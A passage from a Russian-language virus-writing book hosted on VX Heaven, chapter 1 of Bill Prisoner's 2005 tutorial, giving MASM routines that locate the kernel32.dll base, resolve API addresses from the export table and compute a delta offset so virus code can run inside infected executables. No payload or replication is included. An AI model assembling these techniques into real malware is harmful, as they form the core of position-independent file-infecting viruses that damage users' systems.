Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

От зеленого к красному

Bill Prisoner
Июль 2005

[Вернуться к списку] [Комментарии]
\text{T_EX size}

Введение

Здравствуйте дамы и господа! Название книги не говорит само за себя. Эта книга посвящена современным ныне компьютерным вирусам для ОС семейства Windows. Я не буду рассматривать здесь устаревшие методики получения ring 0, которую мы использовали в Windows 98, а также никаких других специфических особенностей применимых для Windows 9x. Мы вдоль и поперек исследуем с Вами средства, механизмы и способы действия вирусных программ применимых для ОС Windows XP, а также родственные ей, т.е. все NT. Почему Windows XP? Да потому, что она использует все средства NT, плюс по данным некоторых аналитических компаний, в частности авторитетной Gartner (http://www.gartner.com), эта ОС просуществует дольше всех ОС из семейства Windows. Gartner считает, что на следующую ОС (Windows Longhorn) надеяться вообще не имеет смысла, т.к из нее будут убраны те революционные нововведения, которые планировались сначала - файловая система WinFS и другие технологии. По данным аналитиков компании, ОС Windows XP просуществует до 2011 года, в тоже время Windows 2003 Server просуществует до 2010 года. Корпоративным стандартом на начало 2005 года считается Windows XP с Service Pack 2. Вот на упомянутые системы мы и будет ориентироваться в ближайшем будущем. Конечно рассылка аналитических компаний это всего лишь предположение и обстановка может измениться в любой момент. Но не надо волноваться сильно по этому поводу, т.к. концепции ОС Windows остаются еще с 1995 года. Вы видели оглавление и, наверное, удивились как много охватывают вирусы. Не удивляйтесь, это все когда-то использовали компьютерные вирусы под Windows и Вы конечно должны об этом знать, чтобы создавать свои новые средства или использовать существующие. Все примеры из этой книги будут написаны используя компилятор masm32. Не спрашивайте пока меня почему masm. Просто masm и все :). Но в одной из глав мы исследует все известные компиляторы. Там я и объясню Вам что к чему. Естественно все самые быстрые, незаметные и разрушительные вирусы пишутся на ассемблере. Если у Вас есть иное мнение, то сначала научитесь программировать вирусы на ассемблере, а потом делайте все что угодно. С ассемблером приходит настоящие понимание того, что делаешь, а разные HLL (High Level Language) только добавляют сложности и в без того сложные вещи. Почти весь материал ориентирован на операционные системы Windows, но я также буду исследовать ныне очень модные вирусы для мобильных телефонов и автомобилей. И если появятся в ближайшем будущем, то и вирусы для кофеварок и пылесосов :) Данная книга была написана для того, чтобы показать как работают вирусы и, следовательно, как с ними бороться. Материал будет сопровождать много кода, который вынесен в отдельные функции. Эти функции Вы можете использовать, даже не разбираясь в тонкостях функционирования той или иной функции. Автор не несет ответственности за данную информацию, если она будет использоваться в незаконных целях. Вместе с этом я предлагаю методы защиты.

Я не буду философствовать на тему: "Кто такие вирмейкеры и зачем они пишут вирусы-, пусть этим занимаются "философы-. Я же буду Вам объяснять, как работают эти зверушки.

Эта книга содержит в себе очень много материала. Она поможет не только антивирусным работникам, но и простым программистам. Здесь будет содержаться много готового кода. Изложение ведется научно. То есть все положения объясняются исходя из свойств операционной системы.

Если какая-то глава вышла, и у меня появились новые сведения по этой проблеме, то я буду обновлять материал. Поэтому если у Вас возникают какие-то вопросы или непонятки, то отсылайте все мне на почтовый ящик. Я работаю круглосуточно.

Почему книга называется "От зеленого к красному"? Потому что она должна как-то называться. Название вызывает любопытство, не правда ли? Я хотел выдать оглавление прямо во введении, но я передумал. Так Вам будет гораздо интереснее.

Море информации находиться на сайте http://vx.netlux.org. Самый известный российский вирмейкер - z0mbie пока не имеет сайта. Но у него есть ЖЖ: http://www.livejournal.com/users/zasrakomondohuy.

Я принимаю любую критику на своем почтовом ящике. Если Вы нашли неточность, сообщите мне. Просто я уважаю своего читателя и хочу, чтобы Вы знали все. На этом введение я заканчиваю. Всего Вам хорошего.

[C] Bill Prisoner / TPOC

Глава 1: Память. База kernel32.dll. Адреса API-функций. Дельта-смещение.

Адресное пространство процесса

База - это адрес чего-то, что лежит в адресном пространстве текущего процесса. Для каждой программы в Windows существует свое адресное пространство. Его объем 4Гб. Т.к. на самом деле такого количества памяти нет, и адреса памяти не соответствуют физическим, поэтому его называют виртуальным адресным пространством. Противоположное этому понятие называется - физическое адресное пространство. Откуда берется столько памяти, если на машине установлено, всего лишь 256 Мб? Операционная система использует дисковое пространство. Если какие-либо куски кода или данных не нужны, она сбрасывает их на диск. Шина адреса для 32х разрядного процессора 32-х разрядная, т.е. адрес может быть 32х разрядным. Диапазон значения адреса - 0..4 294 967 269d, а в шестнадцатеричной системе счисления 0..0FFFFFFFFh. Скоро, когда мы будет программировать для 64-х разрядных ОС размер виртуального адресного пространства увеличиться до 16 экзабайт. Этому пространству соответствует диапазон для указателей 0..0FFFFFFFFFFFFFFFFh. Каждый процесс работает в своем адресном пространстве. Это означает что если Вы создали программу и запустили ее, никакая другая программа не сможет читать или изменять данные в Вашей программе. Есть, конечно, много способов изменить такое положение вещей, но для этого надо использовать специальные механизмы. Адресное пространство процесса полностью не принадлежит ему. Более того, если мы обратимся не туда куда надо, то ОС завершит нашу программу сразу же. Почему так? Да потому, что виртуальное адресное пространство разбивается на разделы, которые имеют свое специфическое назначение. Раздел для данных и кода приложения имеет диапазон 00010000H..0BFFEFFFFH. Существует раздел для кода и данных режима ядра. Он находиться в диапазоне 0C0000000H..0FFFFFFFFH. Например, в отладчике режима ядра Вы можете посмотреть в зависимости от адреса, какой код трассируется - код пользовательского режима или режима ядра. Все что Вы должны из этого для себя почерпнуть это то, что все пространство памяти делиться на куски, которые имеют свое назначение. Также есть такие разделы - для выявления нулевых указателей, закрытый раздел. Я не привожу диапазоны, т.к. они обычно не нужны. Диапазоны, которые я привел, справедливы для ОС Windows XP. Вообще, в ОС отличных от Windows XP могут быть другие диапазоны и другие наборы разделов, если Вас это интересует, то Вы можете узнать их точно на сайте производителя этих самых ОС, нашу горячо любимую корпорацию Micro$oft(http://www.microsoft.com). В базовом разделе Platform SDK говорится, что нижние 2 Гб относятся к коду и данным пользовательского режима, а верхние к коду и данным режима ядра. Остальные детали о регионах могут меняться с каждым выпуском обновления.

Страницы и регионы

Для памяти в Windows есть унифицированная единица, которой можно манипулировать напрямую - страница(page). Странице памяти можно присвоить определенный атрибут, т.е. можно ли считывать данные со страницы или записывать и т.д. Размер страницы зависит от типа процессора. Так для процессоров с архитектурой x86 размер страницы равен 4 Кб. Для 64-разрядного процессора размер страницы может отличаться от 32-разрядного. Чтобы получить размер страницы можно использовать функцию GetSystemInfo.

Для того чтобы воспользоваться какой-либо частью виртуального адресного пространства мы должны сначала выделить в нем регион. Регион - эта область памяти (совокупность страниц) произвольного (но кратного) размера с одним и тем же атрибутом страниц. Операция выделения региона называется резервированием. При резервировании ОС выравнивает начало региона с учетом гранулярности выделения памяти(Allocation Granularity). Эта величина зависит от типа процессора, но для процессоров с архитектурой (x86,IA-64) она составляет 64 Кбайта. Чтобы получить значение гранулярности выделения памяти можно использовать функцию GetSystemInfo. Например, если исполняемый файл подгружает какие-нибудь DLL, то сначала он резервирует регион для этой DLL подходящего размера, а потом передает физическую память с диска на зарезервированный регион. Регион резервируется с учетом гранулярности, т.е. он будет кратен величине 64 Кб и значит, сама DLL будет размещаться по адресам кратным 64 Кб, т.к. она размещается с самого начала региона. Т.к. единица памяти - страница, то размер региона кратен размеру страницы, т.е. регион выделяется страницами.

Библиотека kernel32.dll

Теперь поговорим о kernel32.dll. Это библиотека динамической компоновки(Dinamic Link Library) которая содержит основные системные подпрограммы(routines) для поддержки подсистемы Win32. Процедуры, которые мы используем в своих программах для Windows, так или иначе содержаться в kernel32.dll. Например, мы завершили выполнение своего кода и хотим корректно завершиться. Надо использовать функцию ExitProcess. Она содержится в kernel32.dll. Если мы хотим использовать функции из других DLL, то в kernel32.dll есть функция GetProcAddress, которая возвращает нам указатель на требуемую функцию. Функции GetProcAddress надо указать описатель(handle) модуля и указатель на строку с именем функции. Описатель модуля можно получить с помощью функции GetModuleHandle, которой передается указатель на строку с именем функции. Вы спросите: "А зачем получать адреса функций, если я и так могу их вызывать из своих программ?-. Дело в том, что проблем с адресами API-функций нет, если у Вас есть самостоятельный исполняемый модуль. При загрузке exe-файла ОС сама находит нужные адреса с помощью функции LoadLibrary. Обычно программисты об этом и не задумываются. Но представьте, что Вы пишете вирус, а он часто не является отдельным exe-файлом, а живет внутри файла-жертвы. Ему, для своего существования приходиться ;) вызывать разные API-функции, но их адреса он не знает. В одной и той же ОС, например Windows XP, база kernel32.dll, т.е. ее (библиотеки) начало, может быть фиксирована и иметь, например, значение 7с800000h. Но в зависимости от ситуации или операционной системы этот базовый адрес может изменяться. Наша задача писать вирусы, которые могут функционировать на, как можно, большем числе платформ. Для этого нам надо сначала найти базу kernel32.dll, а потом получить адреса нужных нам API-функций из этой библиотеки. Вообще сначала нам нужна всего одна функция - GetProcAddress. Если мы используем функции из библиотек отличных от kernel32.dll, то также GetModuleHandle. Мы предполагаем, что процесс-жертва использует функции kernel32.dll. Если нужной нам библиотеки может не оказаться в адресном пространстве процесса-жертвы, то нам понадобиться и функция LoadLibrary.

Если мы используем процедуры из этой библиотеки kernel32.dll, то она должна быть спроецирована в адресное пространство процесса. Проецирование делается при создании объекта ядра "проекция файла-. Точно также, при загрузке exe-файла или его запуске, загрузчик создает его проекцию в адресном пространстве созданного процесса. Потом он просматривает таблицу импорта и проецирует все dll или exe нужные приложению. База kernel32.dll - это адрес в памяти, где начинается спроецированная в память библиотека.

Получение базы kernel32.dll

Существует несколько способов получения базы kernel32.dll. Все они, так или иначе, опираются на какие-то тонкости ОС. Вы можете удивиться, но я в этой книге рассмотрю все известные мне способы. Все они будут представлены в виде ассемблерных процедур. (В терминологии языков программирования термины "функция- и "процедура- эквиваленты. Но язык Паскаль внес здесь свою путаницу. Я, естественно, буду руководствоваться традиционной и универсальной терминологией). Отдельные способы используют методы получения адреса в какой-нибудь процедуре из kernel32.dll. Суть метода в том, что мы каким-либо способом находим адрес произвольной процедуры в kernel32.dll. Каким способом, зависит от внутренней реализации ОС и ее особенностей. Другой способ заключается в проверке таблицы импорта.

Вы можете не разбираться даже в деталях реализации процедур и сразу же их использовать. Для подобного удобства около заголовка каждой из процедур будет описание входных и выходных данных. Ни одна из процедур не изменяет регистры за исключением выходного параметра. Например, если Вы вызываете процедуру ValidPE, и перед ней написано что выходной параметр помещается в регистр eax, то изменяется только регистр eax. Остальные регистры остаются с тем же содержимым что и до вызова процедуры. Признаюсь, я тут немного соврал. Не все регистры остаются с такими же значениями. Один регистр, все таки изменяется. Как Вы думаете какой? EIP. Также следите за вложенными процедурами.

Проверка PE-файла на правильность

Далее я привожу процедуру проверки PE-файла на правильность. Посмотрите на код. В исполняемом файле данные расположены, как "MZ" и "PE", но мы сравниваем их наоборот. Здесь вступает в силу принцип "младший байт по младшему адресу-. Это означает, что в памяти байты данных расположены наоборот. Соль в том что "MZ" и "PE" рассматриваются не как строки, а как слова в памяти. Строки - это массив байтов. Т.е. если мы берем слово, то адрес младшего байта является адресом всего слова. А младший байт это, в случае "PE", естественно "E". Специфика микропроцессора здесь в том, как он работает с памятью и как интерпретирует адреса. Задумайтесь в связи с этим об аппаратной поддержке типов данных. Это очень важно. Вы должны хорошо это усвоить.

;============================================================
;Процедура ValidPE
;Проверка правильности PE-файла
;Вход: В esi - адрес файла в памяти
;Выход: если файл правильный, то eax=1, иначе eax=0
;Заметки: обычно процедура используется с проецируемыми файлами в память
;============================================================
ValidPE proc
        push    esi                                     ;сохраняем все регистры
        pushf                                           ;сохраняем регистр флагов
        .IF WORD ptr [esi]=="ZM"
                assume  esi:ptr IMAGE_DOS_HEADER        ;указание компилятору, что в esi указатель на IMAGE_DOS_HEADER
                add esi,[esi].e_lfanew                  ;переход к PE заголовку
                .IF WORD PTR [esi]=="EP"
                        popf                            ;восстанавливаем значения флагов
                        pop esi                         ;восстанавливаем значения регистров
                        mov eax,TRUE
                        ret
                .ENDIF
        .ENDIF
        popf                                            ;восстанавливаем значения флагов
        pop esi                                         ;восстанавливаем значения регистров
        mov eax,FALSE
        ret
ValidPE endp
;============================================================
;Конец процедуры ValidPE
;============================================================
 

Получение базы

Допустим, что мы каким-либо способом получили адрес где-то в kernel32.dll. Способы получения такого адреса приведены в разделе "Способы получения адреса в памяти kernel32.dll". Теперь наша задача получить базу по данному адресу. В нескольких способах мы сначала получаем адрес в памяти внутри kernel32.dll. Мы используем здесь гранулярность выделения памяти, т.е. сначала выравниваем значение адреса до 64 Кб, проверяем не база ли это уже kernel32.dll, если нет, то идем шагами назад по 64 Кб. Чтобы проверить, не база ли это, проверяем правильность формата PE файла.

Теперь вопрос о том, сколько страниц проверять и когда останавливаться. Размер исполняемого образа kernel32.dll в Windows XP SP2 около 1 Мб. Мы не знаем, где находиться сама процедура CreateProcess или UnhandledExceptionFilter. Но она точно содержится в секции кода PE-файла. Можно проанализировать PE-заголовок и выяснить начало секции кода и ее размер. Но это избыточные меры. В каждой ОС семейства Windows, как показывает проведенное тестирование, база находиться без счетчика. Я тестировал свою программу на ОС Windows 95,98,ME,2000,XP. Предлагаю Вам табличку с базами:

ОСБаза kernel32.dll
Windows XP SP177E60000H
Windows XP SP27C000000H
Windows 2000 SP479430000H

Можно полагаться на результаты тестирования. Но я ввожу счетчик, лишь для того, чтобы сделать процедуру универсальной.

Вот исходный код процедуры для получения базы:

;============================================================
;Процедура GetBase
;Поиск базы исполняемого файла, если есть адрес где-то внутри него
;Вход: В esi - адрес внутри файла в памяти
;Выход:В eax - база PE-файла
;Заметки:обычно процедура используется с спроецируемыми файлами в память
;============================================================
GetBase proc
        LOCAL   Base:DWORD                              ;чтобы не изменять контекст по договоренности
        push    esi                                     ;сохраняем все регистры, которые используются
        push    ecx
        pushf                                           ;сохраняем регистр флагов
        and     esi,0FFFF0000H                          ;гранулярность выделения памяти
        mov     ecx,6                                   ;счетчик страниц
NextPage:                                               ;проверка очередной страницы
        call    ValidPE
        .IF     eax==1
                mov     Base,esi
                popf
                pop     ecx
                pop     esi
                mov     eax,Base
                ret
        .ENDIF
        sub     esi,10000H
        loop    NextPage
        popf                                            ;восстанавливаем значения флагов
        pop     ecx
        pop     esi                                     ;восстанавливаем значения регистров
        mov     eax,FALSE                               ;не нашли базу :(
        ret
GetBase endp
;============================================================
;Конец процедуры GetBase
;============================================================
 

Способы получения адреса в kernel32.dll

В этом разделе будут рассмотрены способы получения адреса в памяти внутри спроецированной DLL.

Способ 1: Адрес возврата

Посмотрите такой пример:

.386
option casemap:none
.model flat,stdcall
;----------------------IncludeLib and Include-----------------------
includelib f:\tools\masm32\lib\kernel32.lib
include f:\tools\masm32\include\kernel32.inc
;--------------------End IncludeLib and Include---------------------
.data
        db      0
.code
start:
        pop     eax                                     ;берем из стека значение и записываем его в eax
        invoke  ExitProcess,0
end     start
 

Что, по Вашему, поместиться в регистр eax? Как операционная система создает процесс? Правильно, с помощью функции CreateProcess. CreateProcess находиться где-то внутри kernel32.dll. Т.о. в eax мы получаем адрес где-то внутри kernel32.dll. Когда запускается зараженный файл, то управление передается вирусу. Вот тут-то мы и сцапаем нужный адрес. Но это естественно надо cделать сразу при запуске программы, а то стек забьется какими-нибудь данными или адресами возврата. Вот код, который должен выполнить Ваш вирус для получения базы kernel32.dll с помощью данного способа:

start:                                                  ;начало тела вируса
        mov     esi,[esp]
        call    GetBase                                 ;после вызова в eax - база kernel32.dll
 

Просто, не правда ли?

Способ 2: SEH

SEH расшифровывается как Structured Exception Handling. По-русски - Структурная Обработка Исключения (СОИ). Вы узнаете о SEH все в соответствующей части данной книги. Здесь я только приведу способ, как получить адрес в kernel32.dll используя SEH. Кажется навороченно, да? Но на самом деле это достаточно просто. По адресу FS:0 находиться структура, которая называется TIB(Thread Information Block). Перый DWORD TIB'а указывает на структуру которую называют ERR. Вот как она выглядит:

1ый dwordУказатель на следующую ERR структуру
2ой dwordУказатель на обработчик исключения

Т.о. формируется связный список. Как узнать где заканчивается связный список? Если это последний элемент списка, то 1ый DWORD имеет значение -1. Операционная система при создании процесса сама устанавливает обработчик, чтобы, если что, выдать на экран MessageBox с сообщением об ошибке. Если это последний элемент в цепочке структур ERR, то указатель на обработчик исключения будет находиться где-то в kernel32.dll. Важно где именно. Этот адрес не будет совпадать с функцией UnhandledExceptionFilter. Это можно проверить практически. На самом деле это стандартный обработчик ОС Windows. Вот процедура, которая демонстрирует эту технику:

;============================================================
;Процедура GetKernelSEH
;Поиск адрес внутри kernel32.dll
;Вход: ничего
;Выход:В eax - адрес внутри kernel32.dll
;============================================================
GetKernelSEH    proc
        assume  fs:flat                                 ;для масма обязательно. По умолчанию assume fs:err
        mov     eax,dword ptr fs:[0]                    ;в eax - указатель на структуру ERR
NextElem:
        cmp     dword ptr [eax],-1                      ;последний элемент
        je      Yes
        mov     eax,dword ptr [eax]
        jmp     NextElem
Yes:                                                    ;если пришли к последнему элементу
        mov     eax,[eax+4]
        ret
GetKernelSEH    endp
;============================================================
;Конец процедуры GetKernelSEH
;============================================================
 

После получения адреса внутри kernel32.dll вызываем функцию GetBase, передавая ей соответствующие параметры для получения базы.

Способ 3: Таблица импорта

Этот способ отличается от приведенных выше. При загрузке PE-файла в память загрузчик заполняет адреса соответствующих функций из соответствующих DLL, которые нужны программе. Т.е. эти адреса хранятся внутри PE-файла, когда он загружен. Нам необходимо получить адрес любой функции из kernel32.dll.

В таблице импорта есть два массива адресов. Один не изменяется. В нем содержаться сразу адреса импортируемых функций. Это применимо, в частности, для системных DLL. Второй массив заполняется при загрузке PE-файла. Чтобы найти базу kernel32.dll надо найти таблицу импорта. В таблице импорта найти второй массив адресов. Массивы называются IMAGE_THUNK_DATA и описаны в WINNT.H. Первый массив называется OriginalFirstFunk, второй FirstThunk. Точнее так называются указатели на них, определенные в WINNT.H. Вам надо хорошо разбираться в импорте PE-файлов, чтобы понять это. Сначала мы должны найти начало зараженного файла. Потом переходим к PE заголовку. Далее проходим до IMAGE_DATA_DIRECTORY. Переходим к элементу с индексом 1. Элемент с индексом 1 соответствует таблице импорта PE-файла. Сохраняем RVA и складываем его с базой нашего EXE. По найденному адресу находятся структуры IMAGE_IMPORT_DESCRIPTOR. В этой структуре есть элемент - указатель на имя импортируемой DLL. Проверяем не kernel32.dll ли это, если нет, то идет к следующей структуре IMAGE_IMPORT_DESCRIPTOR. Если это kernel32.dll, то идем по указателю FirstThunk. Он указывает на таблицу адресов импорта или по-другому IMAGE_THUNK_DATA. Эта таблица переписывается загрузчиком PE-файла при загрузке. Вы можете подумать, что можно из таблицы импорта сразу взять адрес функции GetProcAddress. Но не факт что она будет там, так как сам EXE-файл может не импортировать функцию. Вот код который выуживает адрес одной из функций библиотеки kernel32.dll:

;============================================================
;Процедура GetKernelImport
;Поиск адреса внутри kernel32.dll
;Вход: ничего
;Выход:В eax - адрес внутри kernel32.dll
;============================================================
GetKernelImport proc
        push    esi
        push    ebx
        push    edi
        call    x
x:
        mov     esi,dword ptr [esp]                     ;в esi - смещение данной команды
        add     esp,4                                   ;выравниваем стек
        and     esi,0FFFF0000h                          ;используем гранулярность
y:
        call    ValidPE                                 ;начало EXE-файла?
        .IF     eax==0                                  ;если нет, то ищем дальше
                sub     esi,010000h
                jmp     y
        .ENDIF
        mov     ebx,esi                                 ;в ebx теперь будем хранить базу
        assume  esi:ptr IMAGE_DOS_HEADER
        add     esi,[esi].e_lfanew                      ;в esi - заголовок PE
        assume  esi:ptr IMAGE_NT_HEADERS
        lea     esi,[esi].OptionalHeader                ;в esi - адрес опционального заголовка
        assume  esi:ptr IMAGE_OPTIONAL_HEADER
        lea     esi,[esi].DataDirectory                 ;в esi - адрес DataDirectory
        add     esi,8                                   ;в esi - элемент 1 в DataDirectory
        mov     eax,ebx
        add     eax,dword ptr [esi]                     ;в eax - смещение таблицы импорта
        mov     esi,eax
        assume  esi:ptr IMAGE_IMPORT_DESCRIPTOR
NextDLL:
        mov     edi,[esi].Name1
        add     edi,ebx
        .IF     DWORD PTR [edi]=="NREK"                 ;черт, мы могли бы написать так:
                                                        ;.IF TBYTE PTR [edi]=="LLD.LENREK",
                                                        ;но нас сдерживает формат машинной
                                                        ;команды Intel в которой константа
                                                        ;может быть не более 4 байт
                                                        ;нашли запись о kernel32!!!
                mov     edi,[esi].FirstThunk
                add     edi,ebx                         ;в edi - VA массива IMAGE_THUNK_DATA
                mov     eax,dword ptr [edi]             ;в eax адрес какой-то из функций kernel32.dll
                pop     edi
                pop     ebx
                pop     esi
                ret
        .ENDIF
        add     esi,sizeof IMAGE_IMPORT_DESCRIPTOR
        jmp     NextDLL
GetKernelImport endp
;============================================================
;Конец процедуры GetKernelImport
;============================================================
 

Здесь были рассмотрены наиболее популярные и известные способы. Если у Вас есть мысли по этому поводу, то присылайте их мне на электронную почту, обсудим вместе.

Поиск адресов API-функций

Поиск GetProcAddress

Вот мы получили базу kernel32.dll в адресном пространстве текущего процесса. Теперь нам надо найти для начала функцию GetProcAddress. C ее помощью мы получим желаемые адреса API-функций, которые мы будем использовать. Чтобы получить адрес функции GetProcAddress будет анализировать таблицу экспорта PE-файла.

Для начала находим таблицу экспорта. Из нее получаем адрес массива AddressOfNames. Это массив двойных слов. Каждое двойное слово - это RVA на ASCIIZ строку с именем экспортируемой функции. Мы проходим по этому массиву и сравниваем имя "GetProcAddress- с именем экспортируемой функции. Номер слова в AddressOfNames будет индексом для массива AddressOfFunctions. Но нельзя забывать о элементе nBase структуры IMAGE_EXPORT_DIRECTORY. Это начальный номер экспорта для экспортируемых функций. После получения индекса функции мы должны нормализовать его значение относительно nBase. Полученный индекс используем для получения адреса функции из массива AddressOfFunctions.

Вот процедура которая все это делает:

;============================================================
;Процедура GetGetProcAddress pNameGetProcAddress
;Поиск адреса внутри kernel32.dll
;Вход: в стек кладется смещение имени "GetProcAddress"
;eax - база kernel32.dll
;Выход:В eax - адрес функции GetProcAddress
;============================================================
GetGetProcAddress       proc NameFunc:DWORD
        pushad                                          ;сохраняем регистры
        mov     ebx,eax                                 ;в ebx - база
        mov     esi,ebx
        assume  esi:ptr IMAGE_DOS_HEADER
        add     esi,[esi].e_lfanew                      ;в esi - заголовок PE
        assume  esi:ptr IMAGE_NT_HEADERS
        lea     esi,[esi].OptionalHeader                ;в esi - адрес опционального заголовка
        assume  esi:ptr IMAGE_OPTIONAL_HEADER
        lea     esi,[esi].DataDirectory                 ;в esi - адрес DataDirectory
        mov     esi,dword ptr [esi]
        add     esi,ebx                                 ;в esi - структура IMAGE_EXPORT_DIRECTORY
        push    esi
        assume  esi:ptr IMAGE_EXPORT_DIRECTORY
        mov     esi,[esi].AddressOfNames
        add     esi,ebx                                 ;в esi - массив имен функций
        xor     edx,edx                                 ;в edx - храним индекс
        mov     eax,esi
        mov     esi,dword ptr [esi]
NextName:                                               ;поиск следующего имени функции
        add     esi,ebx
        mov     edi,NameFunc
        mov     ecx,14                                  ;количество байт в "GetProcAddress"
        cld
        repe    cmpsb
        .IF ecx==0                                      ;нашли имя
                jmp     GetAddr
        .ENDIF
        inc     edx
        add     eax,4
        mov     esi,dword ptr [eax]
        jmp     NextName
GetAddr:                                                ;если нашли "GetProcAddress"
        pop     esi
        mov     edi,esi
        mov     esi,[esi].AddressOfNameOrdinals
        add     esi,ebx                                 ;в esi - массив слов с индесками
        mov     dx,word ptr [esi][edx*2]
        assume  edi:ptr IMAGE_EXPORT_DIRECTORY
        sub     edx,[edi].nBase                         ;вычитаем начальный ординал
        inc     edx                                     ;т.к. начальный ординал начинается с 1
        mov     esi,[edi].AddressOfFunctions
        add     esi,ebx                                 ;в esi - массив адресов функций
        mov     eax,dword ptr [esi][edx*4]
        add     eax,ebx                                 ;в eax - адрес функции GetProcAddress
        mov     NameFunc,eax
        popad                                           ;восстанавливаем регистры
        mov     eax,NameFunc
        ret
GetGetProcAddress       endp
;============================================================
;Конец процедуры GetGetProcAddress
;============================================================
 

Получение остальных адресов функций

После вызова функции GetGetProcAddress в регистре eax у нас есть адрес функции GetProcAddress. Передавая соответствующие параметры функции, получаем адреса других функций. Вызывать функцию можно как call eax. Взляните на код:

.data
AddAtom1        db      "AddAtomA",0
start:
        call    GetKernelImport
        mov     esi,eax
        call    GetBase
        mov     esi,eax
        push    offset NameGetProcAddress
        call    GetGetProcAddress
        push    offset AddAtom1                         ;указатель на строку
        push    esi                                     ;передаем базу kernel32.dll
        call    eax
 

После вызова call eax в регистре eax будет лежать адрес функции AddAtomA. При поиске не забывайте, что одна и та же функция может присутствовать в 2-х версиях - ANSI и UNICODE. Функции принимающие ANSI-строки, у них в конце имени стоит буква "A-. Функции принимающие UNICODE-строки, у них в конце имени стоит буква "W-. В примере выше, функция AddAtom принимает указатель на ANSI-строку. Как узнать, что функция существует в двух вариантах? Есть два способа. 1) Подумать :) Если функция принимает какую-нибудь строку, то она точно в двух вариантах.2) В Win32.hlp - справочнике по API-функциям, в описании каждой функции можно посмотреть краткую информацию о функции(кнопка QuickInfo). Там есть строка Unicode. Если там что-нибудь, кроме None, то функция существует в двух вариантах, иначе - в одном. Описание функции GetProcAddress, я думаю, Вы посмотрите сами.

Нам может быть полезна функция LoadLibrary, которая загружает PE-файл в адресное пространство процесса. Если модуль уже загружен, то эта функция вернет нам базовый адрес данного модуля. Она будет нужна, если наш зверь требует функции, которые могут не быть в KERNEL32.DLL. Единственный параметр, который передается LoadLibrary, это адрес строки с именем требуемой DLL или EXE-файла. Теперь я опишу, как действуют большинство вирусов при получении адресов API функций.

Вирус хранит в своем теле имена API-функций чтобы потом найти их адреса. Он может также хранить контрольные суммы для строк, содержащих имена. Но я пока не буду затрагивать теорию контрольных сумм. Все что известно о хешах и контрольных суммах, стандартные алгоритмы и примеры использования, Вы узнаете в соответствующей главе. А пока потерпите. Здесь мы рассмотрим пока только простые имена.

Где-то внутри тела вируса есть такие строки:

imp:
                db      'FindFirstFileA',0
                db      'FindNextFileA',0
                db      'FindClose',0
                db      'CreateFileA',0
 

Им соответствуют переменные вида:

f:
_FindFirstFileA dd      ?
_FindNextFileA  dd      ?
_FindClose      dd      ?
_CreateFileA    dd      ?
 

Важно, что между ними взаимнооднозначное соответствие (привет Соломатину О.Д.!). Порядок, тоже сохраняется. Этими свойствами мы и пользуемся при получении адресов. Можно, конечно, обойтись без циклов и соответсвий, но в ассемблере халявы нет, в вирмейкинге тем более.

Ниже приведен код процедуры, которая заполняет соответствующую область адресами нужных API-функций:

;============================================================
;Процедура GetAPIs
;Получение адресов всех требуемых API-функций
;Вход: В edi указатель на массив ASCIIZ строк имен функций
;В ebx - смещение массива двойных слов которые заполняет функция
;В ecx - количество функций
;В esi - база kernel32.dll
;Выход:заполняются соответствующие поля
;============================================================
GetAPIs proc
        pushad
        push    offset NameGetProcAddress
        call    GetGetProcAddress
NextFunc:
        push    eax
        push    esi
        push    edi
        push    ebx
        push    ecx
        push    edi                                     ;имя функции
        push    esi                                     ;база kernel32
        call    eax                                     ;вызов GetProcAddress

        pop     ecx
        pop     ebx
        pop     edi
        pop     esi

        mov     dword ptr [ebx],eax                     ;помещаем адрес функции в переменную
        pop     eax
        add     ebx,4                                   ;следующая переменная
        push    ecx                                     ;сохраняем счетчик
        mov     ecx,30                                  ;для цепочечной команды
        push    eax
        mov     al,0                                    ;ищем 0
        repne   scasb
        pop     eax
        pop     ecx
        loop    NextFunc
        popad
        ret
GetAPIs endp
;============================================================
;Конец процедуры GetAPIs
;============================================================
 

Далее я привожу пример программы которая демонстрирует использование данных методик. Программа просто создает файл с именем "c:\2.txt", а потом завершается. Естественно, что адреса API функций мы получаем сами. Никаких библиотек импорта, как Вы поняли, не требуется. В файле Part1.inc находятся требуемые функции, листинги которых приведены выше. Файл Part1.inc можно скачать отсюда.

.386
option casemap:none
.model flat,stdcall
include f:\tools\masm32\include\windows.inc
.data
NameGetProcAddress      db      "GetProcAddress",0
a                       db      "c:\\2.txt",0
addres                  label DWORD
_FindFirstFileA         dd      ?
_FindNextFileA          dd      ?
_FindClose              dd      ?
_CreateFileA            dd      ?
_ExitProcess            dd      ?
.code
include part1.inc
imp:
                        db      'FindFirstFileA',0
                        db      'FindNextFileA',0
                        db      'FindClose',0
                        db      'CreateFileA',0
                        db      'ExitProcess',0
start:
        call    GetKernelSEH
        mov     esi,eax
        call    GetBase
        mov     esi,eax
        mov     edi,offset imp
        mov     ebx,offset addres
        mov     ecx,5
        call    GetAPIs
        push    0
        push    FILE_ATTRIBUTE_NORMAL
        push    CREATE_NEW
        push    0
        push    0
        push    0
        push    offset a
        mov     eax,_CreateFileA
        call    eax
        mov     eax,_ExitProcess
        push    0
        call    eax
end     start
 

Кстати у меня к Вам маленький вопрос уважаемый читатель. Что будет, если мы получим базу не с помощью функции GetKernelSEH, а с помощью функции GetKernelImport? Ответ: программа глюканет. Вы заметили, что наша программа не пользуется никакими прототипами? Из-за этого у нее нет экспортируемых функций. Но, если Вы будете внедрять код, то этот метод отлично подойдет, т.к. практически все Windows приложения импортируют функции из библиотеки kernel32.dll. Кроме такой, листинг которой, приведен выше.

Дельта смещение

Это последняя вещь, о которой я хотел Вам рассказать в той главе. Представьте, что Вы заразили файл. Теперь код вируса или его часть находиться в другом exe-файле. Например, возьмем переменную _CreateFileA. Она имеет определенное смещение. Смещение это фиксировано. И если код, приведенный выше запишется в другой exe-файл, то это смещение будет уже некорректным. Наша задача сделать так, чтобы смещение не зависело от местоположения кода. Для этого, нам надо узнать по какому смещению находиться наш код. И относительно этого смещения вычислить смещение нашей переменной. Это же относиться и к функциям нашего кода. Дельта смещение - это значение, показывающее на сколько байт сместилось положение нашего кода. Проще говоря дельта-смещение - это адрес где находиться код которые сейчас выполняется. Дельта-смещение вычисляют обычно вначале старта кода вируса.

Вот пример получения дельта-смещения:

        call    delta
delta:
        pop     ebp
        sub     ebp,offset delta
 

После выполнения этого кода в регистре ebp находиться дельта смещение. Вот еще несколько способов получения дельта смещения:

d:      jmp     c1
x       dw      0
c1:     lea     ebp,x
        sub     ebp,offset d
        sub     ebp,2                           ;в EBP - дельта смещение
 

